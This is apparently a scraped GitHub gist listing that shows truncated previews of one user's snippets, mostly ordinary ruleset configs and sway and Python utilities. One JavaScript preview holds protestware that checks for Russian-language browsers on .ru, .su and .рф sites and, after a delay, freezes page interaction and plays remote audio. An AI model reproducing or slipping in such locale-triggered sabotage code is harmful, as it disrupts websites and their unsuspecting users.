This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"id": 502185, | |
"name": "permadef", | |
"target": "branch", | |
"source_type": "Repository", | |
"source": "lukateras/lukateras", | |
"enforcement": "active", | |
"conditions": { | |
"ref_name": { | |
"exclude": [], |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"id": 502160, | |
"name": "permatag", | |
"target": "tag", | |
"source_type": "Repository", | |
"source": "lukateras/lukateras", | |
"enforcement": "active", | |
"conditions": { | |
"ref_name": { | |
"exclude": [], |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if ("undefined" != typeof window && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) { | |
var pi = new Date, | |
mi = localStorage.getItem("swal-initiation"); | |
// If three hours have passed since SweetAlert2 has first seen the origin... | |
// https://developer.mozilla.org/docs/Glossary/Origin | |
mi ? (pi.getTime() - Date.parse(mi)) / 864e5 > 3 && setTimeout((function() { | |
document.body.style.pointerEvents = "none"; | |
var e = document.createElement("audio"); | |
e.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# SPDX-License-Identifier: 0BSD | |
from functools import partial | |
from itertools import chain, starmap, zip_longest | |
import numpy | |
def ascent(x): | |
return [(x, 0), (1 - x, -1), (1, -1)] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import asyncio | |
import i3ipc.aio as swayipc | |
async def main(): | |
sway = await swayipc.Connection().connect() | |
tree = await sway.get_tree() | |
focused_workspace = tree.find_focused().workspace() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
set -euo pipefail | |
cpid=$(swaymsg --type=get_tree | jq '.. | select(.focused?).pid') | |
ppid=$(pgrep --newest --parent="$cpid") | |
readlink /proc/"$ppid"/cwd || echo "$HOME" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import secrets | |
a = [ | |
'A', # Latin lowercase | |
'a', # Latin uppercase | |
'А', # Cyrillic uppercase | |
'а', # Cyrillic lowercase | |
'あ', # Japanese Hiragana | |
# 'ア', # Japanese Katakana | |
# '𛀂', # Japanese Hentaigana (archaic) variant 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import itertools | |
import logging | |
import os | |
import requests | |
logging.basicConfig(level=logging.DEBUG) | |
session = requests.Session() | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# SPDX-License-Identifier: 0BSD | |
from base64 import b64encode | |
from hashlib import blake2b | |
from paramiko.agent import Agent | |
from paramiko.message import Message | |
from sys import stdin | |
import click | |
@click.group() |
NewerOlder